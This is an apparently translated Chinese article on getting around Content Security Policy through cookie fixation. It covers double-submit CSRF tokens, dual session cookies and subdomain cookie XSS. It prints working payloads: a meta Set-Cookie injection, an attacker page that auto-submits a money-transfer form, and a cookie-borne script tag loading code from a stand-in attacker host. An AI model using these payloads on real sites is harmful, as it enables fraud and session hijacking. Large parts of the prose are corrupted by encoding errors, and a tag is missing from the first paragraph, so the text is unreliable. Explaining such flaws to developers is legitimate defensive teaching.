CSP flaws: cookie fixation
前言
我們知道,CSP不會(huì)阻止 這樣的標(biāo)簽。因此,對(duì)于含有XSS漏洞的頁(yè)面來(lái)說(shuō),即使提供了CSP保護(hù),攻擊者仍然可以通過寫入Cookie來(lái)發(fā)動(dòng)攻擊。 下面,我們來(lái)考察一些與Cookie篡改漏洞有關(guān)的例子。
雙重提交Cookie示例
雙重提交cookie是一些應(yīng)用程序和框架用于處理CSRF的技術(shù)。這意味著所有表單都必須包含一個(gè)在cookie中設(shè)置的令牌。 如果在表單中發(fā)送的令牌與cookie中的令牌不同,則請(qǐng)求被丟棄。 這種技術(shù)被OWASP推薦為基于會(huì)話的令牌的替代方案。
在偽代碼中它可能看起來(lái)像這樣:
- //User sent the form
- if(isset($_POST['submit'])){
- if($_POST['token'] == $_COOKIE['token']){
- //Accept the form
- }else{
- echo "CSRF ATTACK DETECTED";
- exit();
- }
- }
沒有CSP的時(shí)候,如果應(yīng)用程序含有XSS漏洞,那么攻擊者就可以使用腳本來(lái)填寫并提交他們想要攻擊的任何表單:
- <script>
- document.getElementById('sendmoneyto').value = 'Mathias';
- document.getElementById('form').submit();
- </script>
使用CSP后,我們就可以(通過使用隨機(jī)數(shù)或限制內(nèi)聯(lián)腳本)避免這種情況了。然而,攻擊者可以使用以下payload來(lái)實(shí)現(xiàn)同樣的事情:
- <meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">
然后,在攻擊者的網(wǎng)站上:
- <script>
- function submitForm(){
- document.forms[0].submit();
- }
- </script>
- <iframe src='http://targetapplication/vulnerabletoxss?parameter=<meta http-equiv="Set-Cookie" content="token=NotSoSecretAnyMore">' onload="submitForm()"></iframe>
- <form action="http://targetapplication/targetform" method="POST">
- <input type="hidden" name="token" value="NotSoSecretAnyMore" />
- <input type="hidden" name="sendmoneyto" value="Mathias" />
- </form>
因?yàn)楣粽吣軌蚋膶懥钆?,所以他們可以在其?yè)面上的表單中使用新令牌,從而繞過CSRF保護(hù)措施。
雙會(huì)話示例
現(xiàn)實(shí)中,使用多個(gè)會(huì)話Cookie的應(yīng)用程序是非常少見的。例如,主應(yīng)用程序使用一個(gè)會(huì)話Cookie,而“次應(yīng)用程序”使用另一個(gè)會(huì)話Cookie。
如果攻擊者可以篡改cookie,他們就可以讓受害者在主應(yīng)用程序中使用攻擊者的會(huì)話cookie。這樣的話,就可以讓受害者在主應(yīng)用程序中以攻擊者身份登錄,而在次應(yīng)用程序中以受害者身份登錄。
如果應(yīng)用程序從主應(yīng)用程序提取送貨數(shù)據(jù),那么受害人在次應(yīng)用程序中購(gòu)買的產(chǎn)品就會(huì)被發(fā)往攻擊者的地址。
子域cookie XSS示例
如果子域中存在cookie XSS漏洞,攻擊者可以使用cookie篡改漏洞來(lái)設(shè)置XSS cookie,然后重定向到易受攻擊的頁(yè)面:
- <meta http-equiv="Set-Cookie" content="vulnerableCookie=<script src=//attackers/page.js>">
- <meta http-equiv="refresh" content="0;URL=http://othersubdomain.vulnerable/page_vulnerable_to_cookie_xss">
結(jié)論
雖然許多客戶端漏洞都可以通過CSP進(jìn)行緩解,但是Cookie篡改仍然會(huì)導(dǎo)致一些安全問題,因?yàn)樗鼘?duì)于這種漏洞根本不起作用。當(dāng)開發(fā)使用CSP和cookie的應(yīng)用程序時(shí),一定要注意各種類型攻擊的不同之處。